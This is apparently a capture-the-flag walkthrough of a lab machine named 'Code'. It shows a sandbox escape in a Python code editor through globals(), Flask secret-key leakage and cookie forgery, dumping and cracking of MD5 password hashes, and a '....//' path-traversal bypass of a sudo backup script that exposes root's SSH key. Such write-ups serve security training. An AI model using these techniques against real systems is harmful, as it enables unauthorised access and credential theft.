Skip to content

Code

Enumeration

Nmap scan of the target:

$ nmap -sV -sC -p- -PN -oA code_nmap 10.10.11.62
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-24 12:11 CEST
Nmap scan report for 10.10.11.62
Host is up (0.030s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Repeated the scan for common services using UDP, but found none.

The web server on port 5000 is hosting an interactive Python REPL:

alt text

The application has an accounts feature that lets registered users save and retrieve previously created scripts.

The application is configured to filter most keywords that could be used for exploiting it, such as os, open() and pty. However, the globals() function is not filtered and can be used to list all global imports in the application:

alt text

The most relevant part is towards the end of the output, as these are the functions and methods that have been imported by the application and can be directly accessed:

...
'Flask': <class 'flask.app.Flask'>, 'render_template': <function render_template at 0x7f24817dbee0>, 'render_template_string': <function render_template_string at 0x7f24817dbf70>, 'request': <Request 'http://code.htb:5000/run_code' [POST]>, 'jsonify': <function jsonify at 0x7f2481a86c10>, 'redirect': <function redirect at 0x7f24818ef3a0>, 'url_for': <function url_for at 0x7f24818ef310>, 'session': <SecureCookieSession {}>, 'flash': <function flash at 0x7f24818ef550>, 'SQLAlchemy': <class 'flask_sqlalchemy.extension.SQLAlchemy'>, 'sys': <module 'sys' (built-in)>, 'io': <module 'io' from '/usr/lib/python3.8/io.py'>, 'os': <module 'os' from '/usr/lib/python3.8/os.py'>, 'hashlib': <module 'hashlib' from '/usr/lib/python3.8/hashlib.py'>, 'app': <Flask 'app'>, 'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>, 'User': <class 'app.User'>, 'Code': <class 'app.Code'>, 'index': <function index at 0x7f248082a8b0>, 'register': <function register at 0x7f248082ab80>, 'login': <function login at 0x7f248082ac10>, 'logout': <function logout at 0x7f248082aca0>, 'run_code': <function run_code at 0x7f248082ae50>, 'load_code': <function load_code at 0x7f24806a4040>, 'save_code': <function save_code at 0x7f24806a41f0>, 'codes': <function codes at 0x7f24806a43a0>, 'about': <function about at 0x7f24806a4550>}

Foothold

From the ouput above, it's clear that this is a Flask-based application that uses SQLite as a database backend.

Rabbit Hole

Having access to the global imports means the secret key for the Flask application can be easily leaked:

alt text

Flask uses the secret key for signing its cookies, but it doesn't encrypt them, which makes forging new cookies fairly straight forward. In this case, the application uses cookies to manage user sessions.

Note

An essential tool for working with Flask cookies is flask-unsign.

When a user logs in, a cookie is set:

$ flask-unsign --decode --cookie '.eJxljDEKwzAQBL9y2VqkSec3pHJngjFCPssHig58EimM_m61JtUWM7Mnli1529kwfE5Q6YMvm_nIcBg5ipXDF9FMVkPoZKvpQZNWCj5T1h8ljST5ibm5_4e3RrmlXZsdqvGxyIrh1S6VYCy-.aFqGCw.FQ5plJ_tLjq6_5pASyQKPUSkbv8'
{'_flashes': [('message', 'Registration successful! You can now log in.'), ('message', 'Login successful!')], 'user_id': 3}

Using the secret key found earlier, a new cookie can be forged with a different user_id:

$ flask-unsign --sign --cookie "{'_flashes': [('message', 'a'), ('message', 'a')], 'user_id': 1}" --secret '7j4D5...'
.eJyrVopPy0kszkgtVrKKrlZSKAFSSrmpxcWJ6alKOkqJSrG1OtiFY3WUSotTi-IzU5SsDGsBSbsW3g.aFqLyA.DFhhouuOmTdyUqT3smM_sn_GHjg

This works, but impersonating the two other user accounts registered in the application doesn't lead anywhere, as none of them have additional privileges or have anything useful stored in their profiles.

The application uses SQLAlchemy to interact with the database. The connection is instantiated in db. The User class holds the database queries and can be used to extract the database contents.

The query used by the application to get the user information from the database is stored in User.query. Enumerating it with print(User.query) lists the names of the columns used:

SELECT user.id AS user_id, user.username AS user_username, user.password AS user_password FROM user

The contents can be retrieved with User.query.all() and pretty-printed like so:

1
2
3
4
5
6
7
8
users = [user for user in User.query.all()]

for user in users:
    print({
        'id': user.id,
        'username': user.username,
        'password': user.password
    })

Ran the above snippet in the application and found two users:

{'id': 1, 'username': 'development', 'password': '759b74...'}
{'id': 2, 'username': 'martin', 'password': '3de6f3...'} 

The hashes are in MD5. Used Hashcat in mode 0 to crack the hash for user martin:

1
2
3
4
5
6
7
8
9
$ hashcat -m 0 martin_hash rockyou.txt
...
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 3de6f3...
Time.Started.....: Wed Jun 25 08:58:35 2025 (2 secs)
Time.Estimated...: Wed Jun 25 08:58:37 2025 (0 secs)
...

Used the credentials to log in to the target over SSH.

Privilege Escalation (User)

There is a single subdirectory in martin's home directory, backups, that contains a backup of the code app and a task manifest for creating new backups:

martin@code:~$ ls -la backups/
total 24
drwxr-xr-x 3 martin martin 4096 Jun 25 07:50 .
drwxr-x--- 6 martin martin 4096 Apr  8 11:50 ..
-rw-r--r-- 1 martin martin 5879 Jun 25 08:00 code_home_app-production_app_2024_August.tar.bz2
drwxrwxr-x 3 martin martin 4096 Jun 25 07:34 home
-rw-r--r-- 1 martin martin  181 Jun 25 08:00 task.json
martin@code:~$ cat backups/task.json
{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

martin also has sudo rights to /usr/bin/backy.sh:

1
2
3
4
martin@code:~$ sudo -l
...
User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

backy.sh looks like a custom backup solution that accepts JSON task manifests like the one found above:

/usr/bin/backy.sh
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

The script only allows for backing up paths under /var and /home, but it's doesn't place any restrictions beyond that. The actual backup is done by /usr/bin/backy at the end of the script.

Modified the JSON manifest to backup /home/app-produdction:

{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/home/app-production"
  ],
  "exclude": [
    "."
  ]
}

Used sudo backy.sh task.json to start the backup and extracted the resulting .tar.bz2 archive:

martin@code:~$ sudo backy.sh task.json
2025/06/25 12:27:12 🍀 backy 1.2
2025/06/25 12:27:12 📋 Working with task.json ...
2025/06/25 12:27:12 💤 Nothing to sync
2025/06/25 12:27:12 📤 Archiving: [/home/app-production]
2025/06/25 12:27:12 📥 To: /home/martin/backups ...
2025/06/25 12:27:12 📦
martin@code:~$ tar xjf code_home_app-production_2025_June.tar.bz2
martin@code:~$ ls -la home/app-production/
total 36
drwxr-x--- 5 martin martin 4096 Sep 16  2024 .
drwxrwxr-x 3 martin martin 4096 Jun 25 12:27 ..
drwxrwxr-x 6 martin martin 4096 Feb 20 12:10 app
lrwxrwxrwx 1 martin martin    9 Jul 27  2024 .bash_history -> /dev/null
-rw-r--r-- 1 martin martin  220 Jul 26  2024 .bash_logout
-rw-r--r-- 1 martin martin 3771 Jul 26  2024 .bashrc
drwx------ 2 martin martin 4096 Aug 26  2024 .cache
drwxrwxr-x 3 martin martin 4096 Aug 26  2024 .local
-rw-r--r-- 1 martin martin  807 Jul 26  2024 .profile
lrwxrwxrwx 1 martin martin    9 Jul 27  2024 .python_history -> /dev/null
lrwxrwxrwx 1 martin martin    9 Jul 27  2024 .sqlite_history -> /dev/null
-rw-r----- 1 martin martin   33 Jun 24 10:09 user.txt

Got the user flag.

Privilege Escalation (root)

The fact that /usr/bin/backy.sh acts as a wrapper around /usr/bin/backy, which handles the backup, essentially means that anyone who can run sudo backy.sh also has access to backy with root privileges. Since the script handles all the path validation, subverting this logic allows for backing up any path in the file system.

In order to prevent path traversal attacks, the script uses jq to remove any ../ from the path. However, it only removes the first occurence, which means a path traversal attack is still possible by just including adding an additional ../:

Used the following task manifest for making a backup of /root:

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/var/....//root"
        ],

        "exclude": [
                "."
        ]
}

Once executed, the script generated a backup of /root, including root's private SSH key from /root/.ssh/id_rsa.

Used the key to log in as root via SSH and get the root flag.